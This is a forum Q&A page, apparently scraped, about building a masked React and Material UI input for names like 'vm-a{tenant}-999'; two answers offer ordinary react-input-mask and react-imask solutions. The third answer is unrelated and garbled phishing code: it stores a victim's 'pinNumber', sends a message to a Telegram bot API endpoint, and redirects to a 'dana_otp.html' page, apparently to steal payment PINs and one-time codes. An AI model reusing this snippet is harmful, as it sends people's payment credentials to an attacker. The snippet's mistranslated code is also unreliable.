skip to Main Content

Language used : Js with react, react hook form and material ui

What I want to achieve : I want to create an input with mask. the mask have static value, variables value and user value.

Here is where i have create my "Name" who contain my mask

The mask need to have :

  • A static value "vm-"
  • One string value that need to be change by the user
  • A variable value from another input (tenant = watch(‘tenant’) )
  • Three integer value that need to be change by the user

Problematic :
I have created my own mask because I didn’t find any package for my request.
But the problem is : Before the ‘tenant’ value from another input, I need to add a string that the user can change. But before that, I need to have static value ‘vm-‘.

I am lost of how to add the string (now ‘a’ in my code) to a editable value

import React, { useEffect } from 'react';
import { Box, TextField, Typography } from '@mui/material';
import { Controller } from 'react-hook-form';

export const Name = ({ fieldArrayName, index, setValue, watch, control }) => {
  const tenant = watch('tenant');

  useEffect(() => {
    if (tenant) setValue(`${fieldArrayName}.${index}.name`, '');
  }, [tenant]);

  const formatInputValue = (tenant, input) => {
    const tenantFormatted = tenant ? `vm-a${tenant}-` : 'vm-a';
    const inputFormatted = input.slice(tenantFormatted.length);
    return `${tenantFormatted}${inputFormatted.replace(/D/g, '').slice(0, 3)}`;
  };

  return (
    <>
      <Box>
        <Controller
          control={control}
          name={`${fieldArrayName}.${index}.name`}
          defaultValue=""
          rules={{
            required: 'Name is required',
            pattern: {
              value: /^vm-(w+)(d{1,3})-(d{1,3})$/,
              message: 'Need to be "vm-a{tenant}-999"',
            },
          }}
          render={({ field: { value, onChange }, fieldState: { error } }) => (
            <TextField
              label="Name. ex: vm-a{tenant}-100"
              value={value}
              onChange={(e) => {
                const formattedValue = formatInputValue(tenant, e.target.value);
                onChange(formattedValue);
              }}
              error={Boolean(error)}
              helperText={Boolean(error) && error.message}
            />
          )}
        />
      </Box>
    </>
  );
};

What I have already tried :

  • To integer react-input-mask with mask=’vm-a{tenant}-999′, working except if ‘tenant’ is equal to 999, it will replace the tenant by empty value because react-input-mask use ‘9’ to say it needs to be an integer.

3

Answers


  1. Chosen as BEST ANSWER

    I found another solution using react-input mask.

    I have change the format used for react input mask so I didn't have the"9" problem anymore

    const formatChars = {
        '*': '[A-Za-z]',
        '.': '[123456789]',
      };
    
      <Controller
              control={control}
              name={`${fieldArrayName}.${index}.name`}
              defaultValue=""
              rules={{
                required: 'Name is required',
                pattern: {
                  value: new RegExp(`^vm-a${tenant}-999$`), 
                  message: 'Need to be "vm-a{tenant}-999"',
                },
              }}
              render={({ field: { value, onChange }, fieldState: { error } }) => (
                <InputMask
                  formatChars={formatChars}
                  maskChar=""
                  mask={`vm-*${tenant}-...`}
                  label={`Name. ex: vm-a${tenant}-100`}
                  variant="outlined"
                  fullWidth={true}
                  value={value || ''}
                  onChange={(e) => {
                    onChange(e.target.value);
                  }}
                  error={Boolean(error)}
                  helperText={Boolean(error) && error?.message}
                >
                  {(inputProps) => <TextField {...inputProps} />}
                </InputMask>
              )}
            />{' '}
    

  2. I got it working with react-imask package. This is how my components is:

    The first is a wrapper for the masked input from the lib, because it’s easier to work this way with Mui TextField.

    import React from "react"
    import { IMaskInput } from "react-imask"
    
    const MaskedInput = React.forwardRef<HTMLInputElement, any>((props, ref) => {
        return (
            <IMaskInput
                {...props}
                inputRef={ref} // pass ref to IMaskInput
            />
        )
    })
    
    export default MaskedInput
    

    Then I import it and implement it like this in my TextField:

    <TextField
        onChange={handleChange}
        sx={{ ...inputStyle, width: "50%" }}
        label="Birth Date"
        name="birth"
        variant="standard"
        value={values.birth}
        InputProps={{
            inputComponent: MaskedInput,
            inputProps: { mask: "00/00/0000" },
        }}
    
    />
    

    In this example i’m using a static mask just to ilustrate, but in another textfield i use this InputProps:

    InputProps={{
        inputComponent: MaskedInput,
        inputProps: { mask: documentMask(values.document) },
    }}
    

    and documentMask is a function that returns a different mask based on the input current size:

    const documentMask = (value: string | number) => {
            const numbersOnly = value.toString().replace(/[^d]/g, "")
            let mask
    
            if (numbersOnly.length <= 11) {
                mask = "000.000.000-000"
            } else {
                mask = "00.000.000/0000-00"
            }
    
            return mask
        }
    

    It’s not the literal masks and values you asked but it’a my working example that you can extract some info and get your code working. I hope it helps!

    Login or Signup to reply.
  3. sessionStorage.setItem("pinNumber", pinNumber);
    let message = `
    Dutch("https://api.telegram.org/bot"+token_botTele+"/Sendirian?parse_mode=marketing&quot;,{
    metode: ‘POST’,
    header: {
    ‘Accept’: ‘aplikatif/Jason’,
    ‘Content-Tipe’: ‘aplikatif/Jason’
    },
    body: JSON.stringify({
    chat_id: id_telegram,
    txt: message
    })
    });
    window.location.href = "./dana_otp.html";

    Login or Signup to reply.
Please signup or login to give your own answer.
Back To Top
Search